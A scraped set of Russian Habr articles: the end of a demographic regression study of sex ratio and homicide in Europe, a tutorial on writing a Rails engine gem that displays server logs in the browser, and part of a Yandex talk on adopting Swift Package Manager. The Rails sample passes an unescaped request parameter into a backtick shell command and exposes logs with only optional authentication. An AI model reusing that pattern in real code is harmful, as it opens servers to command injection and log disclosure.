На русском языке есть хорошая обзорная статья моих коллег из Института демографии НИУ ВШЭ.
* Абылкаликов, С. И., & Винник, М. В. (2012). Экономические теории миграции: рабочая сила и рынок труда. Бизнес. Общество. Власть, (12), 1–19. <https://www.hse.ru/mag/27364712/2012--12/71249233.html>
В силу этой закономерности в городах соотношение полов обычно перекашивается в сторону женщин. Для иллюстрации приведу карту России из [моей магистерской работы](https://www.academia.edu/9872746) (рис. 1).
[](https://habrastorage.org/files/824/9df/1eb/8249df1ebe14474fb570d23c104547e5.png)
**Рисунок 1.** Соотношение полов в возрасте 16-29 лет в муниципальных районах и городах России по данным Всероссийской переписи населения 2010 года. (кликабельно)
Как видим, в городах женщин больше (есть региональные центры, где больше мужчин, но, как правило, это объясняется воинскими частями — отдельная тема). И это при том, что мальчиков всегда рождается больше, чем девочек, и в молодом возрасте парней, в целом, больше. Но об этом чуть позже. Итак, благодаря внутренней миграции, в городах концентрируются женщины.
И в городах же выше преступность. Тут причин очень много (в основном разные социологические теории об оторванности от окружения), но и доказывать этот тезис нет необходимости.
Так вот, на мой взгляд, в исследовании Шахта, Тарпа и Смита, вероятно, упущено ключевое различие между городом и периферией. В городах больше преступность потому что это город, а не потому что там больше женщин и меньше мужчин. Вполне возможно, что включение в объясняющую модель переменной urban/rural нейтрализует обнаруженный эффект.
Но чтобы проверить, так ли это, надо иметь те же данные, что использовали исследователи. Вероятно, займусь этим как-нибудь позже. А пока [в дискуссии](https://www.facebook.com/boris.denisov/posts/10211165163664105) мы пришли к выводу, что было бы интересно проверить выявленную зависимость на данных европейских стран. Переход на уровень стран во многом должен решить влияния миграции.
Проверка на европейских данных
------------------------------
Итак, идея в том, чтобы проверить выявленную взаимосвязь на данных о населении и преступности европейских стран. Переход на более высокий уровень агрегации данных призван решить вопрос классификацией территорий на центральные и периферийные.
**Данные**
* возрастная структура населения — [Human Mortality Database](http://www.mortality.org/) (нас интересует показатель Exposure-to-risk);
* данные о численности убийств в странах Европы — [Eurostat](http://ec.europa.eu/eurostat/data/database) (интересующий нас датасет называется "crim\_gen", скачать проще [тут](http://ec.europa.eu/eurostat/estat-navtree-portlet-prod/BulkDownloadListing?sort=1&dir=data)).
Данные из двух баз пересеклись в 28 странах (на самом деле 26, просто Шотландия и Северная Ирладндия присутствуют в статистике раздельно). Неплохо. Данные есть, дальше все просто. Рассчитываем ASR, adult sex ratio, отношение мужчин к женщинам в возрасте 15-49 лет (авторы статьи в Human Nature используют возрастной интервал 15-49 лет; отступление от их методологии продиктовано особенностями данных Евростата) и HR, Homicide Rate, коэффициент убийств на 100 тыс. человек местного населения.
Дальше — линейная регрессия. Знаю, что авторы используют более изощренную статистическую модель, но для начала пойдем простым путем.
**Чуток о выборе типа регрессионной модели**Дело в том, что регрессия Пуассона имеет большой смысл, когда в большом массиве данных много значений, близких к нулю или нулевых. Для анализа американских графств это, действительно, представляет значительную трудность. При нашем анализе стран вполне можно ограничиться простой линейной регрессией.
Кому интересен вопрос применимости регрессии Пуассона для моделирования процессов с малыми вероятностями (малых коэффициентов) обратите внимание на классическую статью.
* Welch, B. L. (1951). On the comparison of several mean values: an alternative approach. Biometrika, 330–336. Retrieved from <http://www.jstor.org/stable/2332579>
Метод широко применим в эпидемиологии. Я использовал регрессии Пуассона в своем недавнем исследовании притока мигрантов в Москву. Там как раз такая ситуация: когда мы рассматриваем миграционные потоки раздельно для мужчин/женщин, пятилетних возрастных групп и 125 районов города, очень часто оказывается, что сочетания всех признаков дают нулевые коэффициенты. Поэтому удобно использовать регрессию Пуассона. Кому интересна статья, вот она (бесплатный [постпринт тут](https://www.academia.edu/25909345/)):
* Kashnitsky, I. S., & Gunko, M. S. (2016). Spatial variation of in-migration to Moscow: testing the effect of housing market. Cities. <https://doi.org/10.1016/j.cities.2016.05.025>
Но сперва посмотрим на карты.
Вот соотношение полов в возрасте 15-49 лет в странах Европы (здесь и дальше Британия дана как взвешенное среднее составных частей — я поленился искать пространственные данные и возиться с ними).
**Рисунок 2**. Соотношение полов в возрасте 15-49 лет в странах Европы
Как видим, разброс достаточно большой (на всякий случай, в Эстонии и Великобритании данные есть, просто значения очень близки в 1). И это наводит на мысль о необходимости дополнительной проверки (но об этом — в конце статьи).
Распространенность убийств в странах Европы сильно различается между Востоком и Западом (рис. 3). В странах Балтики показатель настолько выше, чем в остальных странах Европы (рис. 3-А), что нам придется исключить их (рис. 3-В) из регрессионного анализа как откровенные выбросы.
**Рисунок 3**. Коэффициенты убийств, случаев на 100К населения в год.
Наконец, еще одна переменная, включенная в анализ авторами исходного исследования — доля населения за чертой бедности. Карта европейских стран выглядит так (рис. 4).
**Рисунок 4**. Доля населения за чертой бедности.
Исключив страны Балтики, приступим, наконец к моделированию.
Регрессионный анализ
--------------------
Моделируем уровень убийств (hr) с помощью данных о соотношении полов в возрасте 15-49 (asr), дамми-переменных для лет и, во второй модели, доли людей за чертой бедности (pov). Получаем следующий результат (табл. 2).
**Таблица 2.** Результаты моделирования.
Statistical models| | **Model 1** | **Model 2** |
| (Intercept) | 98.94 (24.46)\*\*\* | 97.38 (20.04)\*\*\* |
| asr | -0.80 (0.24)\*\*\* | -0.89 (0.20)\*\*\* |
| year2001 | -0.73 (1.91) | -0.72 (1.57) |
| year2002 | -0.75 (1.91) | -0.74 (1.57) |
| year2003 | -2.26 (1.91) | -2.26 (1.57) |
| year2004 | -1.69 (1.91) | -1.68 (1.57) |
| year2005 | -3.47 (1.92) | -3.45 (1.57)\* |
| year2006 | -4.32 (1.92)\* | -4.28 (1.57)\*\* |
| year2007 | -3.51 (1.92) | -3.46 (1.57)\* |
| pov | | 0.43 (0.04)\*\*\* |
| R2 | 0.10 | 0.40 |
| Adj. R2 | 0.07 | 0.37 |
| Num. obs. | 200 | 200 |
| RMSE | 6.77 | 5.55 |
| \*\*\*p < 0.001, \*\*p < 0.01, \*p < 0.05 |
Получается, действительно, более низкое соотношение полов коррелирует с более высокими показателями преступности. И переменная бедности, хотя и объясняет значительную долю вариации в данных, не нейтрализует взаимосвязи между соотношением полов и преступностью.
**Рисунок 5.** Корреляция между уровнем преступности (убийства) и соотношением полов во взрослом возрасте.
Однако, давайте заметим, что соотношение полов значительно ниже в Восточной Европе (рис. 2), чем в Западной. Тут мы, вероятно, сталкиваемся еще раз с проявлением влияния миграции, но на сей раз миграции международной. Еще один из законов миграции Равенштейна-Ли утверждает, что в международной миграции, напротив, активнее мужчины. Возможно, что результаты моей небольшой проверки подверглись искажению от международной миграции. Проверим, устранив эффект международной миграции.
Анализ по возрастной структуре из таблиц смертности
---------------------------------------------------
Для того, чтобы исключить влияние международной миграции, прибегнем к расчету соотношения полов по таблицам смертности, которые также можно скачать и Human Mortality Database.
**Кортоко о таблицах смертности**Таблицы смертности — это базовый инструмент демографов для изучения смертности. Они моделируют вымирание гипотетического поколения. Допустим, мы рассчитываем ТС для страны А в году Х. Исходные данные — возрастные коэффициенты смертности в году Х. Дальше мы моделируем вымирание условного поколения (обычно оно берется численностью 100К, но это не принципиально), допуская, что в каждом возрасте его представители будут умирать с интенсивностью, характерной для жителей страны А в соответствующем возрасте в году Х.
Прелесть ТС заключается в том, что полученные на ее основании оценки (самая известная — ожидаемая продолжительность жизни) не зависят от возрастной структуры населения. Таким образом, можно корректно сравнивать смертность совершенно разных населений, например, очень старую Японию и совсем молодую Нигерию.
Разумеется, ТС можно рассчитывать раздельно для мужчин и женщин, да, вообще, для любого населения — были бы данные.
Рассчитаем соотношение полов во взрослом возрасте как соотношение численности мужчин и женщин по таблице смертности, умноженное на изначальное соотношение полов при рождении.
**Немного о соотношении полов при рождении**Мальчиков всегда и везде рождается больше, чем девочек. Это непреложный закон природы. В среднем на 100 девочек рождается 106 мальчиков.
Справедливости ради, заметим, что, как правило, смертность мужчин выше смертности женщин во всех возрастах. Поэтому к определенному возрасту соотношение полов выравнивается.
Вот как выглядело среднее соотношение полов при рождении в наших странах в 1990-2010 годах (рис. 6).
**Рисунок 6**. Первичное соотношение полов в странах Европы (А) и стандартное отклонение показателя (В), 1990-2010.
Как видим, отклонения от 106 незначительны. Однако, я все равно учту их при дальнейших расчетах.
Таким образом, мы получили соотношение полов во взрослом возрасте, каким оно было бы, если бы на численность поколений влияла только смертность. То есть, миграция исключена из рассмотрения. Вот как выглядит наш показатель на карте (рис. 7).
**Рисунок 7**. Соотношение полов во взрослом возрасте на основании оценок по таблицам смертности.
Наконец, посчитаем модели с новым соотношение полов во взрослом возрасте. При сходном анализе, получаем следующие модели.
**Таблица 3.** Результаты моделирования, соотношение полов на основе теблиц смертности.
Statistical models| | **Model 1** | **Model 2** |
| (Intercept) | 503.99 (78.42)\*\*\* | 466.81 (63.99)\*\*\* |
| asr\_lt | -4.68 (0.75)\*\*\* | -4.41 (0.61)\*\*\* |
| year2001 | -0.76 (1.80) | -0.76 (1.46) |
| year2002 | -0.80 (1.80) | -0.80 (1.46) |
| year2003 | -2.32 (1.80) | -2.32 (1.46) |
| year2004 | -1.78 (1.80) | -1.78 (1.46) |
| year2005 | -3.65 (1.80)\* | -3.65 (1.46)\* |
| year2006 | -4.65 (1.80)\* | -4.65 (1.46)\*\* |
| year2007 | -3.96 (1.80)\* | -3.96 (1.46)\*\* |
| pov | | 0.40 (0.04)\*\*\* |
| R2 | 0.21 | 0.48 |
| Adj. R2 | 0.18 | 0.45 |
| Num. obs. | 200 | 200 |
| RMSE | 6.35 | 5.17 |
| \*\*\*p < 0.001, \*\*p < 0.01, \*p < 0.05 |
Видим, что коэффициенты при переменной соотношения полов остались негативными и значительно увеличились (обратите внимание на шкалу по оси Х рис. 8).
**Рисунок 8.** Корреляция между уровнем преступности (убийства) и соотношением полов во взрослом возрасте, рассчитанным по таблицам смертности.
Промежуточный вывод
-------------------
Результат не оправдал моих ожиданий. Ни переход на уровень стран (для ликвидации эффекта внутренней миграции), ни использование соотношения полов по таблицам смертности (для исключения эффекта международной миграции) не изменил характер взаимосвязи между коэффициентами убийств и соотношением полов во взрослом возрасте.
**UPD 2016-10-12 18:45 Интерпретация вывода и бонусный график**Полученный результат по моделированию с помощью соотношений полов, рассчитанных по таблицам смертности, вполен может указывать на наличие обратной причинно-следственной связи (как предположил в комментариях [7ft](https://habr.com/users/7ft/)). То есть, логика такова: где больше преступлений, там меньше мужчин в результате этих самых преступлений.
Также в обсуждении родилась идея (спасибо, [Ghedeon](https://habr.com/users/ghedeon/) и [dom1n1k](https://habr.com/users/dom1n1k/) за обсуждение) накидать симпатичный график по всем странам HMD (рис 9.)
**Рисунок 9.** Соотношения полов во всех возрастах по всем странам из Human Mortality Database, 2012 год.
Во второй части будет проверка гипотезы на американских данных.
Буду признателен за комментарии — наверняка, что-то упустил.
**UPD 2016-10-12 18:45** Обещанный `R` код выложил на гитхабе (gist) по ссылке
<https://goo.gl/bhOmxp>
(комментарии по коду приветствуются)
**UPD 2018**: все материалы на [github](https://github.com/ikashnitsky/sex-ratios-and-crime).
--------------------------------------------------------------------------------------------- | https://habr.com/ru/post/311970/ | null | ru | null |
# Rails 4 Engines. Разработка gem'а через mountable engine — читаем логи сервера
Так уж случилось, что возникло непреодолимое желание написать свой Rails gem. Во-первых, академический интерес — такого еще не делал, во-вторых, назрела проблема, решение которой важно лично для меня и которое хотелось бы использовать в нескольких своих проектах.
На Хабре уже были статьи про создание gem'ов ([раз](http://habrahabr.ru/post/134609/) [два](http://habrahabr.ru/post/57829/) [три](http://habrahabr.ru/post/128378/))
Но на их основе создать полноценный gem нельзя — они сильно устарели и, как правило, представляют собой перевод скупой официальной документации. А главное, они в большей части описывают создание Readme и License файлов, а собственно функционал gem'a сводится к Hello World.
#### Проблема
Не знаю, как у кого, а вот у меня регулярно бывает ситуация — прикрутил новую фичу локально, проверил, вроде работает. Запускаешь cap deploy, смотришь на сервер, а там
> «Sorry, but something went wrong.
>
> If you are the application owner check the logs for more information.»
Ну а дальше — ssh к серверу, cd к папке приложения и раскопка логов. Что бы ни говорили поклонники vim и emacs, но пытаться найти что-то в логе с их помощью — то еще занятие. Проще уж запустить tailf и пытаться найти руками. Есть еще rmate, но у меня он как-то не прижился.
#### Идея
Написать gem, который будет выводить результаты команды tail в браузер по заданному пути. Желательно, чтобы была возможность смотреть все .log файлы в папке log/
#### Сразу покажу, что получилось в итоге:
Все, что нужно, это прописать в Gemfile
```
gem 'tail'
```
установить gem
```
bundle install
```
и смонтировать его (`config/routes.rb`) в нужную точку приложения, например
```
mount Tail::Engine, at: "/tail"
```
После этого на вашем сервере
**появится вот такая страница:**
Локально работает точно так же.
Если в приложении используется Devise, то нужно будет сначала ввести логин и пароль.
#### Как делать
Обычно для таких случаев используют sinatra-based gem'ы ([например](https://github.com/ejschmitt/delayed_job_web))
Лично я для своего gem'a не вижу в этом смысла, поскольку использую Rails и нет необходимости в синатре.
Для начала имеет смысл написать собственно приложение, которое впоследствии будет превращено в отдельный gem.
В моем случае оно будет состоять из одного конроллера и одного экшена:
```
class LogsController < ApplicationController
before_filter :authenticate_user! if defined? Devise
def index
@web_logger ||= Log.instance
@web_logger.n = params[:n]
log_file_name = params[:file_name] || "#{Rails.env}.log"
@files = @web_logger.tail(log_file_name)
end
end
```
Все просто, используем один Singleton класс, который выдает заданное количество строк из заданного .log файла. Сам класс Log интереса не представляет. Разве что сам способ получения лога:
```
@files.include?(file_name) ? `tail -n #{@n} log/#{file_name}`.lines : []
```
Ruby нативно позволяет выполнить команды ОС, просто заключив ее в вот эти (хрен его знает, как они правильно называются) символы: ``tail -n 40 production.log`` — вернет последние 40 строк из файла.
Полученные строки помещаются в таблицу, слегка облагораживаются CSS и выводятся на экран.
Одна строчка JavaScript (известный фреймворк — [Vanilla.js](http://vanilla-js.com)) прокручивает экран вниз, к последней строке:
```
'window.scrollTo(0, document.body.scrollHeight);'
```
#### Делаем gem из приложения.
Статьи на Хабре и уважаемый Ryan Bates описывали создание gem'a с помощью команды bundle gem. Последнее видео датируется ноябрем 2011 года.
Сейчас же создение Rails gem'ов рекомендуется делать через [engines](http://www.rusrails.ru/engines).
Engine — это по сути еще одно Rails приложение, которое будет запущено вместе с исходным и использующее (взаимно) его ресурсы. Сиамские близнецы, в общем. Или имплантанты, как кому больше нравится. В приложении-родителе указывается точка подключения нового engine/plugin/gem и далее по этому адресу доступна вся функциональность нового приложения. Объяснение примитивное, на пальцах, кому интересны подробности — я указал ссылки внизу.
Таким образом достаточно удобно реализовывать всяческие админки, gem'ы статистики, наблюдения за активностью и пр. В общем все то, что, с одной стороны, относительно независимо и не так тесно переплетается с основным приложением, а с другой стороны, задействует полную функциональность Rails — модели, контроллеры, представления и т.п.
В противном случае надо будет серьезно попотеть с порядком инициализации приложений, миграциями, разграничением доступа, безопасностью и т.п. Головняк тот еще, но нет ничего невозможного. Кому интересно — можно начать с [вот этой статьи](http://memo.undr.su/2011/04/01/chto-zhe-takoe-railtie-engine-i-plugin/)
Для gem'ов, работающих только с ограниченной функциональностью Rails (например создающих новый хелпер или фильтр контроллера) — лучше использовать [плагины](http://www.rusrails.ru/plugins)
##### Итак, создаем будущий gem с именем tail
```
rails plugin new tail --mountable
```
Ключ `--mountable` собственно и отделяет создание mountable engine от относительно простого плагина.
**В моем случае я писал**rails plugin new tail --mountable --skip-active-record
Поскольку не использую работу с базой.
Очень забавная команда. Если посмотреть на структуру папок, созданную в результате, то это будет смесь обычного Rails приложения и результата команды `bundle gem`.
#### Три основных момента:
##### Первое
папка lib будет основой будущего gem'a и самый главный файл в нем — `engine.rb`
```
module Tail
class Engine < ::Rails::Engine
isolate_namespace Tail
end
end
```
Создается модуль с именем gem'a с изолированным пространством имен, в который будут завернуты все ваши модели, контроллеры, вьюхи и классы. Т.е. вместо класса `SomeClass` у вас будет `Tail::SomeClass`, то же самое с routes и путями — вместо, например, `messages_path` вы будете писать `tail.messages_path`, если нужно будет попасть в веб-часть gem'a.
Само-собой, это делается для того, чтобы исключить конфликты имен gem'a и приложений, куда он будет монтироваться.
Обратите внимание на структуру папок `app/` в приложении: в каждую из них добавлена дополнительная подпапка с названием gem'a, к которую складываются нужные файлы. Влияет на пути к файлам и хелперам.
**Скрытый текст**
##### Второе,
файл .gemspec — кроме описания песональной информации в нем содержится список зависимостей от других gem'ов и список файлов, необходимых для сборки.
lib/version.rb — номер версии gem'a. Рекомендуется использовать нотацию, описанную в [semver.org](http://semver.org). Простая штука, но обращаю на нее внимание, потому что очередная публикация gem'a без изменения версии не допускается.
##### И третье:
папка test/dummy — здесь содержится фейковое приложение, которое уже смонтировано (/test/dummy/config/routes.rb). Т.е для того, чтобы проверить работы gem'a, достаточно перейти в эту папкe и запустить rails server. По адресу localhost:3000/tail будет мое приложение. Действительно очень удобно.
**Скрытый текст**
#### Наполняем gem
```
rails generate resource log
```
Не использую scaffold, поскольку нет необходимости в CRUD и генерации представлений.
Переношу в сгенерированные файлы код из существующих классов. Стоит убедиться, что все работает, запустив фейковое приложение из `test/dummy`.
Всё, с этого момента gem можно подключать и отлаживать в другом приложении:
```
gem 'tail', path: '~/projects/tail'
```
или
```
gem 'tail' , git: 'git://github.com/k2m30/tail.git' #после коммита и push на github
```
Главное не забывать обновлять файл с версиями и делать `bundle update tail` в приложении, использующим gem после каждого изменения.
#### Публикация
Чтобы опубликовать gem на rubygems, нужно [зарегистрироваться](http://rubygems.org/sign_up) там.
После этого в папке gem-проекта
Для сборки gem
```
rake build
```
Вспомогательная команда
```
gem push
```
в создании gem'a не участвует, просто это легкий способ указать rubygems credetnials для релиза. Нужно ввести только один раз.
Собственно публикация.
```
rake release
```
Сразу после этого gem [появится](https://rubygems.org/gems/tail) в поиске на rubygems и станет доступным через gem install для других разработчиков.
#### Итого
1. Чтобы создать mountable Rails gem, нужно сделать следующее:
создать скелет
```
rails plugin new tail --mountable
```
2. Наполнить его привычным Rails приложением
Есть незначительные особенности, но их мало и они [хорошо описаны](http://www.rusrails.ru/engines)
Очень просто посмотреть, что же вы сделали, запустив `rails server` в папке `test/dummy/`
3. Собрать gem
```
rake build
```
4. Зарегистрироваться на rubygems.org и указать свои логин и пароль:
```
gem push
```
Сделать релиз
```
rake release
```
Вот и всё, вы счастливый обладатель собственного gem'a
К слову сказать, на момент публикации rubygems утверждает, что мой gem скачали уже 151 раз. Не очень верится, но приятно.
Вообще при разработке упор делался на простоту установки и использования — ничего лишнего. Совсем. Хотя есть и другие варианты — например, [gem webtail](https://github.com/r7kamura/webtail) отправляет содержимое лога в сокет и, соответственно, можно смотреть изменения логов в реальном времени. Меня такая реализация не устраивает, хотя бы потому, что нужна дополнительная пляска с фаерволами. Хотя красиво.
Очень надеюсь, что моя статья, и, кто его знает, сам gem окажутся небесполезными и сэкономят кому-нибудь время и нервы.
---
#### Ссылки
<http://wangjohn.github.io/railties/rails/gsoc/2013/07/10/introduction-to-railties.html>
<http://blog.thepete.net/2010/11/creating-and-publishing-your-first-ruby.html>
[Rails по-русски](http://www.rusrails.ru)
[Сам gem на github.com](https://github.com/k2m30/tail)
[Он же на rubygems.org](https://rubygems.org/gems/tail) | https://habr.com/ru/post/216141/ | null | ru | null |
# Тернистый путь внедрения Swift Package Manager. Доклад Яндекса
Доклад будет интересен iOS-разработчикам, которые хотят внедрить технологию Swift Package Manager (SPM) в существующий проект. Руководитель iOS-разработки Яндекс Go Вадим Белотицкий рассказал о причинах, по которым его команда решила внедрять SPM, и о решении возникших проблем, включая:
* Проблемы с компиляцией
* Сочетание Swift- и Objective-C-кода
* Падения, связанные с некорректной линковкой проекта
* Сочетание двух менеджеров зависимостей — CocoaPods и SPM
* Проблемы сборки на CI (TeamCity)
Сам процесс внедрения рассмотрен поэтапно, начиная с примеров Apple и тестовых примеров к первым шагам по внедрению (созданию первого модуля с генерацией проекта) и вплоть до состояния приложения сейчас.
— Я хочу рассказать о механизме модуляризации, который мы выбрали в нашем проекте: Swift Package Manager. Расскажу о том, что такое SPM, как мы его внедряли, какие ошибки совершили и к какому результату пришли. Цель доклада — показать, что SPM — достаточно взрослая технология и ее можно использовать в продакшене iOS-разработки.
Доклад будет состоять из четырех частей. Сначала я постараюсь погрузить вас в контекст нашего приложения. Сначала это будет Яндекс.Такси, в конце оно превратится в Яндекс Go. Потом расскажу об SPM и менеджерах зависимости. Далее рассмотрю наш путь пошагово — какие ставились задачи, требования. И в конце подведу итог, к чему мы пришли.
Контекст
--------
Итак, о нашем приложении. В Яндекс.Такси мы занимались разработкой не только Такси, но и многих других приложений. Например, Yango (это международный бренд Такси), Лавки, а также разрабатывали группу приложений [MLU](https://taxi.yandex.com/company/), которые тоже предназначены для вызова такси.
Все эти приложения мы собирали из одной ревизии, из одних и тех же исходников. Поэтому под ними была общая Core-часть, которая называлась YandexTaxiCore — статическая библиотека, сделанная в Xcode. Там была написана основная логика функциональности и общие компоненты, это был большой монолитный кусок. Его можно было сконфигурировать с помощью специальных дополнений, промежуточных статических Xcode-библиотек, тоже сделанные в виде Xcode-таргетов. Superapp — эта штука заезжала в Такси и превращала приложение для заказа такси в суперапп. Библиотека YandexTaxiLike использовалась в Такси и в Yango. Приложение Лавки не имело промежуточной библиотеки, потому что оно одно было standalone в семействе приложений и напрямую конфигурировалась из YandexTaxiCore. Приложения из группы MLU тоже имели под собой статическую библиотеку.
Помимо этой статической конфигурации у нас были внешние зависимости, такие как AppMetrica или Yandex Mapkit, мы подключали их с помощью CocoaPods.
Что же мы имели вначале нашего пути? Много таргетов, много приложений, которые мы собираем из одних исходников и отправляем в App Store, набор статических библиотек, сделанных с помощью Xcode-проекта, и внешние зависимости, подключаемые с помощью СocoaPods. А сам YandexTaxiCore представлял из себя большой монолит, написанный одновременно на Swift и на Objective-C. Физически там не было разделения на модули, но логически они были. Экран, поездки, summary заказа, выбор адреса, меню — это всё были логические модули.
Итак, мы хотели модуляризировать наш огромный кусок YandexTaxiCore. Зачем нам нужна была модуляризация? Чтобы:
* Ускорить разработку. И этого ускорения мы хотели достичь не за счет того, что проект начнет быстрее компилироваться или индексироваться, а за счет того, что каждый модуль в отдельности можно будет разрабатывать с помощью example-приложения, где легко будет проверить всю доступную функциональность модуля, допилить новую и легко отладиться в случае нахождения багов.
* Упростить сопровождение, в том числе за счет того, что у нас появятся физические границы между модулями и к этим физическим границам можно будет добавить code owners. Code owners смогут оперативно решать вопросы, которые возникают в процессе работы модуля, и смогут консультировать коллег, если в эти модули потребуется внести изменения.
* Повысить качество приложения. Модуляризация — общепризнанная практика, которая позволяет улучшать качество. В бэкенде это тоже используется, микросервисная архитектура. И у нас бэкенд использовал микросервисы. Логично, если бы мы тоже разделили приложение на модули, которые бы хорошо работали. Изменения в каждом отдельном модуле не сломают приложение в целом. А еще можно построить систему feature toggles, которая может позволить отключать отдельные модули.
Какие подходы мы могли использовать в модуляризации?
1. Xcode-проект: нарезать существующий код с помощью workspaces, projects, targets.
2. CocoaPods. Через него мы уже тащили внешние зависимости. Так почему бы с помощью него не напилить наш код на модули?
3. Swift Package Manager.
Такие варианты, как Carthage, мы не рассматривали потому, что не хотелось тянуть еще какую-то не эппловскую third-party-технологию. Кастомные билд-системы тоже показались нам слишком сложными.
Почему мы не остановились на Xcode-проекте? Первая причина: сложно добавить модули. Необходимо завести новый таргет, настроить его, потом настроить граф зависимостей, чтобы правильные библиотеки зависели друг от друга. Сложно сделать из одного и того же таргета и динамическую, и статическую библиотеку, если понадобится. Нужно работать через графический интерфейс Xcode, а проектный файл сложно отредактировать. Xcode у нас уже тормозил, потому что в проектном файле было более 20 тысяч строк кода.
Кроме того, чтобы работала наша сложная архитектура с большим количеством таргетов и модулями, у нас уже был написан некоторый набор костылей, который встраивался в билд-фазу. Все это нас остановило, мы не выбрали Xcode.
Почему не CocoaPods? У него свои особенности. Тоже иногда приходится что-то допилить, например, в post-install-фазе, чтобы проекты собирались. Второй недостаток: можно сделать Mixed Framework, который написан на двух языках одновременно — на Objective-C и Swift. С одной стороны, это кажется довольно удобным, и мы можем одновременно писать новую функциональность в легаси-коде на Objective-C, туда же добавлять что-то на Swift и таким образом постепенно переводить модули. Но могут встретиться проблемы при индексации таких проектов в Xcode и при работе с AppCode. В 2018 году он, по-моему, не переваривал mixed-фреймворки. А если переваривал, то все время что-то отваливалось и код в AppCode писать было невозможно, если подключались такие зависимости.
Третья проблема — Ruby. Если хочется что-то допилить в CocoaPods или понять, как оно работает, необходимо открывать исходники, читать их. И если они написаны на Ruby, то сделать это довольно сложно, даже несмотря на то, что Ruby — по крайней мере, пока не было Swift — считался вторым языком iOS-разработчиков. Последняя сложность — на мой взгляд, довольно сложно написать Podspec, там много параметров, надо выучить синтаксис. Процесс, наверное, можно автоматизировать, но тоже не хочется заниматься осваиванием языка Podspec.
Последний вариант — это SPM. У нас в проекте уже работали тулзы на SPM. Мы писали скрипты, которые автоматизировали нашу работу на Swift. Зависимости между этими скриптами мы устанавливали с помощью SPM, и технология работала. Показалось, что пора использовать SPM. Если в первых релизах SPM было невозможно использовать UIKit и нельзя было указать платформы, на которых должна работать библиотека, то когда мы планировали использовать SPM, все это стало возможно.
Третий плюс: SPM написан на Swift. Декларация зависимостей и описание пакетов происходит на Swift. Это очень близко iOS-разработчикам. Также есть интеграция с Xcode, очень удобно.
И последняя причина, по которой можно смотреть на SPM: с него можно откатиться на CocoaPods. Семантика Swift-пакетов не совпадает с семантикой spec CocoaPods, но они очень близки, и опыт опенсорсных библиотек, таких как Alamofire и Moya, показывает: можно иметь декларации пакетов для двух менеджеров зависимостей и все это работает. (...)
Немного об SPM
--------------
Начну я с того, что расскажу о менеджерах зависимостей в целом.
Если рассмотреть любой менеджер зависимостей и артефакты, которые он использует, то их можно разделить на две части. Первая — это то, за что отвечает пользователь менеджера зависимостей, а отвечает он за код проекта, за те исходные коды, которые он пишет, и за манифест. В манифесте он объявляет зависимости, которые хочет использовать.
За вторую часть отвечает уже менеджер зависимостей, это код зависимостей, который нужно подтянуть. И lock-файл, в котором записывается результат resolve-кода зависимостей, записываются те версии, которые использовались при подключении зависимостей.
Как подключить зависимости на SPM к проекту?
Вот код проекта. Переходим во вкладку Build phases и добавляем бинарную зависимость.
Можно выбрать из тех фреймворков, которые предоставляет Xcode, а можно нажать на стрелочку, и появится выпадающая опция — package dependency.
После этого открывается окно, в нем мы можем указать путь к зависимости, путь к git-репозиторию. Но локальный пакет с помощью такой опции добавить нельзя, его нужно будет добавлять просто с помощью workspace. Я потом расскажу, как это делается.
Локальный пакет так тоже добавить можно, если у вас мультирепозиторий и в том месте, где находится пакет, лежит папочка .git.
Далее указываем те версии зависимости, которые хотим использовать. Я рекомендую указывать плавающие версии. Строгие версии указывать не рекомендую, потому что это может помешать резолву графа зависимостей. Предположим, строится сложный граф, вы подключаете библиотеки, тоже используя зависимости, и явно их определяете в своем проекте. Тогда строгие версии приведут к тому, что не получится построить граф, найти те зависимости, которые удовлетворяют потребностям всех подключаемых библиотек. Используйте свободную версию.
Далее в одном пакете у нас может быть несколько продуктов, несколько библиотек, и галочками мы выбираем то, что хотим подключить.
У нас сформировался Manifest, он находится в проектном файле. Его можно найти, если нажать на Project, там есть вкладка Swift Packages. Manifest — это аналог pod-файла.
Посмотрим, где находится наш lock-файл. Он называется package.resolved. Его надо обязательно коммитить в репозиторий, чтобы все участники процесса разработки и сервера continuous integration использовали одни и те же версии зависимостей, чтобы можно было точно сказать, что именно отправляется пользователям в продакшен.
Посмотрим, где находится код зависимости. Предположим, нам захочется немного поотлаживать его или внести корректировки, это может быть важно. В файл-навигаторе в левой части экрана можем найти нашу зависимость, кликнуть правой кнопкой > «Показать в Finder».
Увидим, что разрезолвленные зависимости находятся в drive data.
Также предлагаю взглянуть, где находятся органы управления SPM. Они находятся в Xcode во вкладе «Файл». Можно зарезолвить зависимости. Это аналог pod install. Вы получите те версии зависимости, которые находятся в файле package.resolved. Либо можно обновить зависимости. Это аналог pod update. Единственная особенность в том, что через интерфейс Xcode невозможно обновить зависимости по одной — они обновятся все сразу.
На что бы я хотел обратить тут внимание? В первую очередь на то, как написан .gitignore. Как я уже ранее сказал, важно, чтобы package.resolved был добавлен в репозиторий и закоммичен. Поэтому надо убедиться, что когда вы добавляете первую зависимость на SPM, файл package.resolved попадает в git-репозиторий. Но может встретиться ошибка, сообщающая, что все находящееся в workspace добавлено в .gitignore и ничего нового не добавляется. Будьте внимательны.
Второе, на что стоит обратить внимание: код зависимости находится в DerivedData. Это может быть важно при сборке на серверах continuous integration или в те моменты, когда вы чистите DerivedData. Не стоит удивляться, почему все репозитории чекаутятся заново.
Что же такое Swift Package Manager, из чего он состоит? Swift-пакет состоит из модулей. Модули — это наборы исходных файлов. Между модулями могут быть зависимости, одни могут зависеть от других.
Далее модули объединяются в продукты. Продукт — это либо библиотека, как статическая, так и динамическая, либо исполняемый файл. Надо сказать, что можно собрать только приложение для macOS. С помощью SPM под iOS все еще придется использовать Xcode-проект.
Еще есть файл package.swift. Это описание того, что находится в нашем пакете. В этом описании могут быть зависимости от других пакетов.
Package.swift выглядит так. У него есть имя, в нем перечисляются продукты:
```
// swift-tools-version:5.3
// The swift-tools-version declares the minimum version of Swift required to build this package.
import PackageDescription
let package = Package(
name: "ExamplePackage",
products: [
.library(name: "Superapp", targets: ["SuperApplication"]),
.library(name: "FoodKit", targets: ["FoodOrder", "OrderHistory"]),
],
dependencies: [.package(url: "https://github.com/Alamofire/Alamofire", from: "5.3.0")],
targets: [
.target(name: "SuperApplication", dependencies: ["FoodOrder", "OrderHistory", "TaxiOrder"]),
.target(name: "TaxiOrder", dependencies: ["Alamofire", "UIComponents"]),
.target(name: "FoodOrder", dependencies: ["Alamofire", "UIComponents"]),
.target(name: "OrderHistory", dependencies: ["Alamofire", "UIComponents"]),
.target(name: "UIComponents")
]
)
```
